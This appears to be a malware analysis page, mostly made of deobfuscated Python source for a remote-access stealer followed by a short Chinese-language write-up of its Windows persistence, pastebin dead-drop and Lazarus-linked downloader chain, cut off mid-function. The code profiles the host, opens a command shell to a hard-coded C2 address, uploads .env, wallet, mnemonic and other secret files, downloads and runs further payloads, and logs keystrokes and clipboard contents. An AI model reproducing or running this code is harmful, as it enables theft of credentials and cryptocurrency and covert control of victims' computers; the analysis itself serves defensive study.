    def __init__(A):
        A.system=system()
        if gType == "root":
            A.hostname=node()
        else:
            A.hostname=gType + "_" + node()
        A.release=release()
        A.version=version()
        A.username=getuser()
        A.uuid=A.getID()
    def getID(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
    def sysinfo(A):return{'uuid':A.uuid,'system':A.system,'release':A.release,'version':A.version,'hostname':A.hostname,'username':A.username}

class Position(object):
    def __init__(A):A.geo=A.get_geo();A.internal_ip=A.get_internal_ip()
    def get_internal_ip(A):
        try:return socket.gethostbyname_ex(hn)[-1][-1]
        except:return''
    def get_geo(A):
        try:return get('http://ip-api.com/json').json()
        except:pass
    def net_info(A):
        g=A.get_geo()
        if g:
            ii=A.internal_ip
            if ii:g['internalIp']=ii
        return g

class SysInfo(object):
    def __init__(A):A.net_info=Position().net_info();A.sys_info=HostInfo().sysinfo()
    def parse(K,data):
        J='regionName';I='country';H='query';G='city';F='isp';E='zip';D='lon';C='lat';B='timezone';_A='internalIp'
        A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G]if G in A else'',H:A[H]if H in A else'',I:A[I]if I in A else'',B:A[B]if B in A else'',J:A[J]if J in A else'',_A:A[_A]if _A in A else''}
        if'/'in A[B]:A[B]=A[B].replace('/',' ')
        if'_'in A[B]:A[B]=A[B].replace('_',' ')
        return A
    def get_info(A):B=A.net_info;return{'sys_info':A.sys_info,'net_info':A.parse(B if B else[])}

# host="LjE3LjI0OTUuMTY0"
#host="  NTEuMjEy  MTAuMTAu"
PORT = 1224
HOST = '146.70.253.107'
if gType == "root":
    hn = socket.gethostname()
else:
    hn = gType + "_" + socket.gethostname()

class Trans(object):
    def __init__(A):A.sys_info=SysInfo().get_info()
    def contact_server(A,ip,port):
        A.ip,A.port=ip,int(port);B=int(time.time()*1000);C={'ts':str(B),'type':sType,'hid':hn,'ss':'sys_info','cc':str(A.sys_info)};D=f"http://{A.ip}:{A.port}/keys"
        try:post(D,data=C)
        except Exception as e:pass
def run_comm():c=Trans();c.contact_server(HOST, PORT);del c
run_comm()

import base64,platform,socket
from time import sleep
from socket import timeout as TimeOutError
import time
from datetime import datetime,timezone,timedelta
import json,os,struct,subprocess
from threading import Thread,RLock,Timer
import requests,ftplib
import ast
sHost = socket.gethostname()
# host="LjE3LjI0OTUuMTY0"
#host="  NTEuMjEy  MTAuMTAu"
_T=True;_F=False;_N=None;_A='admin';_O='output'
class Session(object):
    def __init__(A,sock):A.sock=sock;A.info={'type':0,'group':sType,'name':sHost}
    def shutdown(A):
        try:A.sendall('[close]');A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()
        except:pass
    def connect(A,ip,port):
        A.sock.connect((ip,port));sleep(.5)
        A.send(code=0,args=A.info)
        sleep(.5);return _T
    def struct(A,code=_N,args=_N):return json.dumps({'code': code,'args': args})
    def send(A,code=_N,args=_N):d=A.struct(code, args);A.sendall(d)
    def sendall(A,data):
        try:
            try:ii = data.encode()
            except:ii = data
            ii = struct.pack('>I', len(ii)) + ii
            A.sock.sendall(ii)
        except:pass
    def recv(A):
        try:
            print("start ses recv")
            ll = A.recvall(4)
            print("ses recv size:", ll)
            if not ll:return _N
            ml = struct.unpack('>I', ll)[0]
            print("ses recv:", ml)
            # Read the message datacls
            return A.recvall(ml)
        except TimeOutError:return -1
        except:pass
    def recvall(A,size):
        try:
            d = bytearray()
            while len(d) < size:
                pt = A.sock.recv(size - len(d))
                if not pt:return _N
                d.extend(pt)
            return d
        except:return _N

e_buf = ""
def decode_str(ss):
    try:r=ss.decode('utf8');return r
    except:
        try:r=ss.decode('cp1252');return r
        except:
            try:r=ss.decode('mac_roman');return r
            except:return ss

ex_files = ['.exe','.dll','.msi','.dmg','.iso','.pkg','.apk','.xapk','.aar','.ap_','.aab','.dex','.class','.rpm','.deb','.ipa','.dsym','.mp4','.avi','.mp3','.wmv','.wma','.mov','.webm','.avchd','.mkv','.ogg','.mpe','.mpv','.mpeg','.m4p','.m4a','.m4v','.aac','.flac','.aiff','.qt','.flv','.swf','.pyc','.lock','.psd','.pack','.old','.ppt','.pptx','.virtualization','.indd','.eps','.ai','.a','.jar','.so','.o','.wt','.lib','.dylib','.bin','.ffx','.svg','.css','.scss','.gem','.html']
ex_dirs = ['vendor','Pods','node_modules','.git','.next','.externalNativeBuild','sdk','.idea','cocos2d','compose','proj.ios_mac','proj.android-studio','Debug','Release','debug','release','obj','Obj','xcuserdata','.gradle','build','storage','.android','Program Files (x86)','$RECYCLE.BIN','Program Files','Windows','ProgramData','cocoapods','homebrew','.svn','sbin','standalone','local','ruby','man','zsh','Volumes','Applications','Library','System','Pictures','Desktop','usr','android','var','__pycache__','.angular','cache','.nvm','.yarn','.docker','.local','.vscode','.cache','__MACOSX','.pyp','.gem','.config','.rustup','.pyenv','.rvm','.sdkman','.nix-defexpr','.meteor','.nuget','.cargo','.vscode-insiders','.gemexport','.Bin','.oh-my-zsh','.rbenv','.ionic','.mozilla','.var','.cocoapods','.flipper','.forever','.quokka','.continue','.pub-cache','.debris','jdk','.wine32','.phpls','.typeChallenges','.sonarlint','.aptos','.bluemix','.bundle','.cabal','.changes','.changeset','.circleci','.cp','.cpanm','.cxx','.dart_tool','.dartServer','.dbvis','.deps','.devcontainer','.dotnet','.dropbox.cache','.dthumb','.ebcli-virtual-env','.eclipse','eclipse','.electrum','.executables','.exp','.ghcup','.github','.gnupg','.hash','.hasura','.IdentityService','.indexes','.install','.install4j','.kokoro','.localized','.npm','.node-gyp','.p2','.platformio','.plugin_symlinks','.plugins','.store','.storybook','.tmp','tmp','.turbo','.versions','.vs','.vscode-server','.yalc','!azure','x-pack','lib64','site-packages','node_modules12','kibana-8.5.0','google-cloud-sdk','golang.org','Assets.xcassets','arduino']
pat_envs = ['.env','config.js','secret','metamask','wallet','private','mnemonic','password','account','.xls','.xlsx','.doc','.docx','.rtf']
ex1_files = ['.php','.svg','.htm','.hpp','.cpp','.xml','.png','.swift','.ccb','.jsx','.tsx','.h','.java']
ex2_files = ['tsconfig.json','tailwind.config.js','svelte.config.js','next.config.js','babel.config.js','vite.config.js','webpack.config.js','postcss.config.js','robots.txt','license.txt','.ds_store','.angular-config.json','package-lock.json']

def ld(rd,pd):
    dir=os.path.join(rd,pd);res=[];res.append((pd,''));sa = os.listdir(dir)
    for x in sa:
        fn=os.path.join(dir,x)
        try:
            x0 = x.lower()
            if os.path.isfile(fn):
                ff, fe = os.path.splitext(x0)
                if not fe in ex_files and os.path.getsize(fn) < 104857600:res.append((pd, x))
            elif os.path.isdir(fn):
                if not x in ex_dirs and not x0 in ex_dirs:
                    if pd != '':t=pd+'/'+x
                    else:t=x
                    res=res+ld(rd,t)
        except:pass
    return res

def fmt_s(s):
    if s<1024:return str(s)+'B'
    elif s<1048576:return'{:.0f}KB'.format(s/1024.)
    elif s<1073741824:return'{:.1f}MB'.format(s/1048576.)
    else:return'{:.1f}GB'.format(s/1073741824.)

def write_flist(s):
    default_path = os.path.join(os.path.expanduser("~"), ".n2")
    if os.path.exists(default_path + '/flist') == False:
        make_file = open(default_path + '/flist', 'w')
        make_file.close()
    with open(default_path + '/flist', 'a') as f:
        f.write(s)

def ups(sn):
    try:
        up_time = str(int(time.time()))
        files = [
            ('multi_file', (up_time + '_' + os.path.basename(sn), open(sn, 'rb'))),
        ]
        r = {
            'type': sType,
            'hid': gType + '_' + sHost,
            'uts': 'auto_upload',
        }
        host2 = f"http://{HOST}:{PORT}"
        requests.post(host2 + "/uploads", files=files, data=r)
        if os.path.basename(sn) != 'flist':
            write_flist(up_time + '_' + os.path.basename(sn) + " : " + sn + "\n")
    except: pass

def fpatten(pat):
    try:
        if os_type == "Windows":
            command = 'dir /b /s ' + pat + ' | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
        else:
            command = 'find . -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name ' + pat + ' -print'
        proc=subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()

        dirs = proc[0].decode('utf8').split('\n')
        if dirs != ['']:
            for key in dirs:
                if key.strip() == '':
                    continue
                ups(key.strip())
    except: pass

def uenv(C):
    proc=subprocess.Popen(C,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()

    dirs = proc[0].decode('utf8').split('\n')
    if dirs != ['']:
        for key in dirs:
            if key.strip() == '':
                continue

            ups(key.strip())

def fenv():
    drive_list = ['C', 'D', 'E', 'F', 'G']
    try:
        if os_type == "Windows":
            for key in drive_list:
                if os.path.exists(f"{key}:\\") == False:
                    continue
                c = 'dir /b /s ' + key + ':\*.env | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
                uenv(c)
        else:
            c = 'find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print'
            uenv(c)
    except: pass

def auto_up():
    # fpatten('*mnemonic*')
    # fpatten('truffle.config*')
    # fpatten('hardhat.config*')
    # fenv()
    print()

os_type = platform.system()
class Shell(object):
    def __init__(A,S):
        A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=0;A.cp_stop=0
        A.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
        A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env}
        print("init success")
    def listen_recv(A):
        while A.is_alive:
            try:
                print("start listen")
                recv=A.sess.recv()
                print("listen recv:", recv)
                if recv==-1:
                    if A.timeout_count<30:A.timeout_count+=1;continue
                    else:A.timeout_count=0;recv=_N
                if recv:
                    A.timeout_count=0
                    with A.lock:
                        D=json.loads(recv);c=D['code'];args=D['args']
                        try:
                            if c != 2:
                                args=ast.literal_eval(args)
                        except:
                            pass
                        if c in A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()#tg(args)
                        else:
                            if A.is_alive:A.is_alive=_F;A.close()
                else:
                    if A.is_alive:A.timeout_count=0;A.is_alive=_F;A.close()
            except Exception as ex:print("error_listen:", ex)

    def shell(A):
        print("start shell")
        t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()
        while A.is_alive:
            try:sleep(5)
            except:break
        A.close()
        return A.is_delete

    def send(A,code=_N,args=_N):A.sess.send(code=code,args=args)
    def sendall(A,m):A.sess.sendall(m)
    def close(A):A.is_alive=_F;A.sess.shutdown()
    def send_n(A,a,n,o):p={_A:a,_O:o};A.send(code=n,args=p)

    def ssh_cmd(A,args):
        try:
            if os_type == "Windows":
                subprocess.Popen('taskkill /IM /F python.exe', shell=_T)
            else:
                subprocess.Popen('killall python', shell=_T)
        except: pass

    def ssh_obj(A,args):
        o=''
        try:
            a=args[_A];cmd=args['cmd']
            if cmd == '':o=''
            elif cmd.split()[0] == 'cd':
                proc = subprocess.Popen(cmd, shell=_T)
                if len(cmd.split()) != 1:
                    p=' '.join(cmd.split()[1:])
                    if os.path.exists(p):os.chdir(p)
                o=os.getcwd()
            else:
                proc=subprocess.Popen(cmd,shell=_T,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()
                try:o=decode_str(proc[0]);err=decode_str(proc[1])
                except:o=proc[0];err=proc[1]
                o=o if o else err
        except:pass
        p={_A:a,_O:o};A.send(code=1, args=p)

    def ssh_clip(A,args):
        global e_buf
        try:A.send(code=3, args=e_buf);e_buf = ""
        except:pass

    def bro_down(A,p):
        if os.path.exists(p):
            try:os.remove(p)
            except OSError:return _T
        try:
            if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
        except:pass

        host2 = f"http://{HOST}:{PORT}"
        try:
            myfile = requests.get(host2+"/brow/"+sType+"/"+gType, allow_redirects=_T)
            with open(p,'wb') as f:f.write(myfile.content)
            return _T
        except Exception as e:return _F

    def ssh_run(A,args):
        try:
            a=args[_A];p=A.par_dir+"/bow";res=A.bro_down(p)
            if res:
                if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
                else:subprocess.Popen([sys.executable,p])
            o = os_type + ' get browse'
        except Exception as e:o = f'Err4: {e}';pass
        p={_A:a,_O: o};A.send(code=4,args=p)

    def send_5(A,a,o):A.send_n(a,5,o)

    def ssh_upload(A,args):
        o=''
        try:
            D=args[_A];cmd=args['cmd']
            cmd=ast.literal_eval(cmd)
            if 'sdir' in cmd:sdir=cmd['sdir'];dn=cmd['dname'];sdir=sdir.strip();dn=dn.strip();A.ss_upd(D,cmd,sdir,dn);return _T
            elif 'sfile' in cmd:sfile=cmd['sfile'];dn=cmd['dname'];sfile=sfile.strip();dn=dn.strip();A.ss_upf(D,cmd,sfile,dn);return _T
            elif 'sfind' in cmd:dn=cmd['dname'];pat=cmd['sfind'];dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,dn,pat);return _T
            else:A.ss_ups();o='Stopped ...'
        except Exception as e:print("error_upload:", str(e));o = f'Err4: {e}';pass
        A.send_5(D,o)

    def ss_upd(A,D,args,sd,name):
        A.cp_stop=0;t=_N
        try:
            if sd=='.':sd=os.getcwd()
            A.send_5(D,' >> upload start: ' + sd)
            res=ld(sd,'')
            A.send_5(D,'  -count: ' + str(len(res)-1))
            for (x,y) in res:
                if A.cp_stop==1:A.send_5(D,' upload stopped ');return
                if y=='':continue
                A.ss_hup(os.path.join(sd,y),D,name,5)
            A.send_5(D,' uploaded success ')
        except Exception as ex:
            o=' copy error :'+str(ex);A.send_5(D,o)

    def ss_hup(A,sn,D,name,n):
        try:
            up_time = str(int(time.time()))
            files = [
                ('multi_file', (up_time + '_' + os.path.basename(sn), open(sn, 'rb'))),
            ]
            r = {
                'type': sType,
                'hid': gType + '_' + sHost,
                'uts': name,
            }
            host2 = f"http://{HOST}:{PORT}"
            requests.post(host2 + "/uploads", files=files, data=r)
            if os.path.basename(sn) != 'flist':
                write_flist(up_time + '_' + os.path.basename(sn) + " : " + sn + "\n")
                o=' copied ' + fmt_s(os.path.getsize(sn)) + ':  ' + os.path.basename(sn)
                A.send_n(D,n,o)
            else:
                os.remove(sn)
        except Exception as e:o=' failed: '+sn+' > '+str(e);A.send_n(D,n,o)

    def ss_upf(A,admin,args,sfile,name):
        D=admin;A.cp_stop=0;t=_N
        try:
            sdir=os.getcwd()
            A.send_5(D,' >> upload start: ' + sdir + ' ' + sfile)
            sn=os.path.join(sdir,sfile)
            A.ss_hup(sn,D,name,5)
            A.send_5(D,' uploaded done ')
        except Exception as ex:
            o=' copy error :'+str(ex);A.send_5(D,o)

    def ss_ufind(A,D,args,name,pat):
        A.cp_stop=0;t=_N
        try:
            A.send_5(D,' >> ufind start: ' + os.getcwd())
            if os_type == "Windows":
                command = 'dir /b /s ' + pat + ' | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
            else:
                command = 'find . -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name ' + pat + ' -print'
            proc=subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()

            dirs = proc[0].decode('utf8').split('\n')
            if dirs == ['']:
                A.send_5(D,'  -count: ' + str(0))
                A.send_5(D,' Not exist ')
            else:
                A.send_5(D,'  -count: ' + str(len(dirs)-1))
                for key in dirs:
                    if A.cp_stop == 1:A.send_5(D,' upload stopped ');break
                    if key.strip() == '':
                        continue
                    A.ss_hup(key.strip(),D,name,5)
                A.send_5(D,' ufind success ')
        except Exception as ex:
            o=' copy error :'+str(ex);A.send_5(D,o)

    def ss_ups(A):A.cp_stop=1

    def ss_uenv(A,D,C):
        proc=subprocess.Popen(C,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()

        dirs = proc[0].decode('utf8').split('\n')
        if dirs == ['']:
            A.send_n(D, 8,'  -count: ' + str(0))
        else:
            A.send_n(D, 8,'  -count: ' + str(len(dirs)-1))
            for key in dirs:
                if A.cp_stop == 1:A.send_n(D, 8,' upload stopped ');break
                if key.strip() == '':
                    continue

                A.ss_hup(key.strip(),D,'global_env',8)

    def ssh_env(A,args):
        drive_list = ['C', 'D', 'E', 'F', 'G']
        A.cp_stop = 0
        try:
            a=args[_A];c=args['cmd']
            c=ast.literal_eval(c)
            A.send_n(a,8,'--- uenv start ')

            if os_type == "Windows":
                for key in drive_list:
                    if os.path.exists(f"{key}:\\") == False:
                        continue
                    c = 'dir /b /s ' + key + ':\*.env | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
                    A.ss_uenv(a,c)
            else:
                c = 'find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print'
                A.ss_uenv(a,c)
            A.send_n(a,8,'--- uenv success ')
        except Exception as e:A.send_n(a,8,' uenv err: '+str(e))

    def ssh_kill(A,args):
        D=args[_A]
        if os_type == "Windows":
            try:subprocess.Popen('taskkill /IM chrome.exe /F')
            except:pass
            try:subprocess.Popen('taskkill /IM brave.exe /F')
            except:pass
        else:
            try:subprocess.Popen('killall Google\ Chrome')
            except:pass
            try:subprocess.Popen('killall Brave\ Browser')
            except:pass
        p={_A:D,_O: 'Chrome & Browser are terminated'}
        A.send(code=6,args=p)

    def down_any(A,p):
        if os.path.exists(p):
            try:os.remove(p)
            except OSError:return _T
        try:
            if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
        except:pass

        host2 = f"http://{HOST}:{PORT}"
        try:
            myfile = requests.get(host2+"/adc/"+sType, allow_redirects=_T)
            with open(p,'wb') as f:f.write(myfile.content)
            return _T
        except Exception as e:return _F

    def ssh_any(A,args):
        try:
            D=args[_A];p = A.par_dir + "/adc";res=A.down_any(p)
            if res:
                if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
                else:subprocess.Popen([sys.executable,p])
            o = os_type + ' get anydesk'
        except Exception as e:o = f'Err7: {e}';pass
        p={_A:D,_O:o};A.send(code=7,args=p)

HOST0 = '146.70.253.107'
PORT0 = 2241

class Client():
    def __init__(A):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = 0;A.shell = _N

    @property
    def make_connection(A):
        while _T:
            try:
                A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s = Session(A.client_socket)
                s.connect(A.server_ip, A.server_port)
                A.shell = Shell(s);A.is_active = _T
                if A.shell.shell():
                    try:dir = os.getcwd();print("dir:", dir);fn=os.path.join(dir,sys.argv[0]);print("fn:", fn);os.remove(fn)
                    except Exception as ex:print("connection error:", ex);pass
                    return _T
                sleep(15)
            except Exception as e: print("error_make:", e); sleep(20);pass
    def run(A):
        t2=Thread(target=auto_up);t2.daemon=_T;t2.start()
        if A.make_connection:return

client = Client()
import sys

is_w=sys.platform.startswith('win')
if __name__ == "__main__":
    if is_w == _F:
        try:client.run()
        except KeyboardInterrupt:pass
        sys.exit(0)

_M='-m';_P='pip';_L='install'
import subprocess
try:import pyWinhook as pyHook
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyWinhook']);import pyWinhook as pyHook
try:import pyperclip
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyperclip']);import pyperclip
try:import psutil
except:subprocess.check_call([sys.executable,_M,_P,_L,'psutil']);import psutil
try:import win32process
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32process
try:import pythoncom
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import pythoncom
try:import win32gui
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32gui

def act_win_pn():
    try:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow());return (pid[-1], psutil.Process(pid[-1]).name())
    except:pass

def write_txt(text):0

c_win = 0
def check_window(event):
    global c_win
    if c_win != event.Window:
        (pid, text) = act_win_pn()
        tz = timezone(offset=timedelta(hours=9))
        d_t = datetime.fromtimestamp(time.time(), tz)
        t_s = d_t.strftime("%m/%d/%Y, %H:%M:%S")

        c_win = event.Window
        return f"\n**\n-[ {text} | PID: {pid}-{c_win}\n-[ @ {t_s} | {event.WindowName}\n**\n"
    return ""
m_win = 0
def hmld(event):
    global e_buf, m_win
    if m_win!=event.Window:m_win=event.Window;tt='<..>'
    else:tt='<.>'
    e_buf+=tt;write_txt(tt);return _T

def hmrd(event):
    global e_buf, m_win
    if m_win!=event.Window:m_win=event.Window;tt='<,,>'
    else:tt='<,>'
    e_buf+=tt;write_txt(tt);return _T

def is_down(status):
    if status == 128: return _T
    return _F

def is_control_down():
    return is_down(pyHook.GetKeyState(0x11)) or is_down(pyHook.GetKeyState(0xA2)) or is_down(pyHook.GetKeyState(0xA3))

def run_copy_clipboard():
    global e_buf
    try:
        copied = pyperclip.waitForPaste(0.05)
        tt = "\n=================BEGIN================\n";tt += copied;tt += "\n==================END==================\n"
        e_buf += tt;write_txt(tt)
    except Exception as ex:pass

def hkb(event):
    if event.KeyID == 0xA2 or event.KeyID == 0xA3:return _T

    global e_buf
    tt = check_window(event)

    key = event.Ascii
    if (is_control_down()):key=f"<^{event.Key}>"
    elif key==0xD:key="\n"
    else:
        if key>=32 and key<=126:key=chr(key)
        else:key=f'<{event.Key}>'
    tt += key
    if is_control_down() and event.Key == 'C':
        start_time = Timer(0.1, run_copy_clipboard)
        start_time.start()
    elif is_control_down() and event.Key == 'V':
        start_time = Timer(0.1, run_copy_clipboard)
        start_time.start()

    e_buf += tt;write_txt(tt);return _T
def startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()
def hk_loop():startHk();pythoncom.PumpMessages()
def run_client():
    t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()
    try:client.run()
    except KeyboardInterrupt:sys.exit(0)

if __name__ == "__main__":
    run_client()

~/.n2/pow

這隻程式是針對 windows 環境進行惡意攻擊。

首先將 hard code 的 python 程式碼，寫入%APPDATA_ROAMING_DIRECTORY%/Microsoft/Windows/StartMenu/Programs/Startup/Windows Update Script.PyW

達成開機自啟動

Windows Update Script.PyW

程式碼當中有需多 Hard Code 被加密過後的密文，這些密文會經過 XOR 解密,key = !!!HappyPenguin1950!!! + base64decode + 反轉，會解出需多 https://pastebin[.]com/ 的網址，接下來會去拿可以訪問的網址內的資料進行解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
https://pastebin.com/u/HolesGarmin3166_OnsitePoet2677
https://pastebin.com/u/CrackEden1251_WaitsRenee9809
https://pastebin.com/u/KerrWhale2274_KnowNtsc6785
https://pastebin.com/u/NumberHunt2579_JazzByrne1819
https://pastebin.com/u/AtomIsps2511_FinedPress2664
https://pastebin.com/u/ZoomHockey3706_MassBallet5863
https://pastebin.com/u/RehabVagina9550_PaceTiles7442
https://pastebin.com/u/NanoDubai9234_LoaderGeoff3367
https://pastebin.com/u/ThankSends9968_BiosCube2008
https://pastebin.com/u/NegroConfig1449_SoupRule3443
https://pastebin.com/u/EnglBlazer5735_FittedInjury1823
https://pastebin.com/u/FeetMosque6032_KellerFinest4047
https://pastebin.com/u/NotingRobe2871_FranzStill8494
https://pastebin.com/u/CementTeddy9347_SalesRacks7262
...

HolesGarmin3166_OnsitePoet2677 這樣的串接字串代表前面是 username ，後面是檔案名稱，接下來寫腳本去測試每一個 url ，最後只有唯一一個還可以訪問的是 https://pastebin[.]com/u/NotingRobe2871

image-20260125101548610

內容如下

1
7b226d657373616765223a202234333133373732333030323832393064333230383537313731313265323030303633373230393538343536363134353136643332333834313364326136343535323030643330316332303735366334633763346236633538366435383139376530323338323234393331323435333561222c20227369676e6174757265223a20226a3363696947733356564e63535465634d3465315a4c41307471643264566a3955673175364f33787267396e66616e6669384a724961546651786a52697a50735058345a4458422b494b686944355a7171635744514c4770354f555143384d39557678556877712f596d743533473261647969636547394265486248716e487a6275707568707572432b6968427666356e34334d6d387937712b4169627a4e626d597056556662766f42524d693372514b554b4b48313548654d476a4e784a57586d6f645a746f2b4e65392f3430434f3374417931736d5534333950746c535159536b70703067797477484c357a6c4d417a44684c4c46396565634f6d734c694363625645694b766a557941704a32416d55773268364a595a466967632f457361455a533959576f476675695665434f736c7651336a6977674557766f7270655051316f5331713043774d5a4834525049776b6d43513d3d227d

這個內容也再經過 XOR 解密,key = !!!HappyPenguin1950!!! + base64decode + 反轉之後會得到

1
2
3
4
{
  "message": "431377230028290d32085717112e200063720958456614516d3238413d2a6455200d301c20756c4c7c4b6c586d58197e023822493124535a",
  "signature": "j3ciiGs3VVNcSTecM4e1ZLA0tqd2dVj9Ug1u6O3xrg9nfanfi8JrIaTfQxjRizPsPX4ZDXB+IKhiD5ZqqcWDQLGp5OUQC8M9UvxUhwq/Ymt53G2adyiceG9BeHbHqnHzbupuhpurC+ihBvf5n43Mm8y7q+AibzNbmYpVUfbvoBRMi3rQKUKKH15HeMGjNxJWXmodZto+Ne9/40CO3tAy1smU439PtlSQYSkpp0gytwHL5zlMAzDhLLF9eecOmsLiCcbVEiKvjUyApJ2AmUw2h6JYZFigc/EsaEZS9YWoGfuiVeCOslvQ3jiwgEWvorpePQ1oS1q0CwMZH4RPIwkmCQ=="
}

他會先去驗證這個 signature ，驗證方式是在程式當中有 hard code 一個十六進制編碼的 RSA 公鑰

1
2
3
4
5
6
7
8
9
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvRgxN5vWny1/dAc7s6KM
ZURyqQti1OE11PkaXPY32E39TKau6vD+QntWKNTFI53WmkvY6YbLGf06oiZ99uYd
TkeL/gtKfnaPPOt1mADL9R3nFwvyWABw7Q41NgYlu7XHMiTUuh/TRPvOiXL5yKx+4
PnXsN+sE93pk2qNpB+cnJ1/b4re89xuNpD9HQjzsda3PNOD13s7OL7fq+74tY4oc
MQ6BNFOq9J46xd/4jay8n/q33v3PgwwoL6TQR5grUdfblXZ8WZzxXVKEqMtqJtmR
M8zjHoods0PoopOS6IzoYD+anchz5JCKHBrrMXd8g+A2hMq+W5lEkIvtbe1dPXsn
CQIDAQAB
-----END PUBLIC KEY-----

並利用以下程式碼驗證 message 是否有被修改過

1
2
3
4
5
6
7
8
9
trusted_public_key.verify(
    signature,
    message.encode("utf-8"),
    padding.PSS(
        mgf=padding.MGF1(hashes.SHA256()),
        salt_length=padding.PSS.MAX_LENGTH
    ),
    hashes.SHA256()
)

驗證通過後會對message內的內容進行 XOR 解密,key = !!!HappyPenguin1950!!! + base64decode + 反轉，解密之後得到

1
http://23.254.164[.]156/introduction-video

他會去訪問他並下載回傳檔案，儲存在{ROAMING_APPDATA_PATH} \Microsoft\Windows \Applications \Runtime Broker.exe

下載的檔案 sha256 ： ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527

根據 VirusTotal ，這個是一個已知的惡意程式，並且這個惡意程式在~/.n2/pow 被成為TSUNAMI_INSTALLER。

而 TSUNAMI_INSTALLER 在 https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/ 這篇分析報告提到是被 Lazarus Group 使用的

此外他還會持續的向使用者請求 UAC 權限，去執行 TSUNAMI_PAYLOAD_PATH 這個 TSUNAMI_PAYLOAD_PATH 路徑為C:\Users\<Username>\AppData\Local\Temp\<16位隨機亂碼> 這是也是 Hard code 的程式碼在此程式被寫入進去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def execute_payload_with_uac() -> bool:
